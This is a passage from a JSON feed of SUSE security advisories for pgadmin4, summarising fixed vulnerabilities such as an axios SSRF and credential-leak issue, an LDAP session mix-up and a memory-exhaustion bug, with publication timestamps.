(bsc#1224295)\n","status":"published","published":"2025-08-14T13:03:13Z","modified":"2026-03-23T04:46:16.058951Z","updated_at":"2026-11-02T15:53:56.123059Z"},{"id":"SUSE-SU-2025:1227-1","title":"Security update for pgadmin4","description":"This update for pgadmin4 fixes the following issues:\n\n- CVE-2025-27152: axios: Fixed SSRF and creadential leakage due to requests sent to absolute URL even when baseURL is set (bsc#1239308)\n","status":"published","published":"2025-04-14T07:06:34Z","modified":"2025-04-14T12:00:35.681645Z","updated_at":"2026-11-02T15:53:59.381172Z"},{"id":"SUSE-SU-2025:1326-1","title":"Security update for pgadmin4","description":"This update for pgadmin4 fixes the following issues:\n\n- CVE-2025-27152: Fixed SSRF and creadential leakage due to requests sent to absolute URL even when baseURL is set (bsc#1239308)\n- CVE-2023-1907: Fixed an issue which could result in users being authenticated in another user's session if two users authenticate simultaneously via ldap (bsc#1234840)\n- CVE-2024-4068: Fixed a possible memory exhaustion (bsc#1224295)\n","status":"published","published":"2025-04-16T08:37:10Z","modified":"2026-02-04T04:34:05.353677Z","updated_at":"2026-11-02T15:53:59.381172Z"}]}}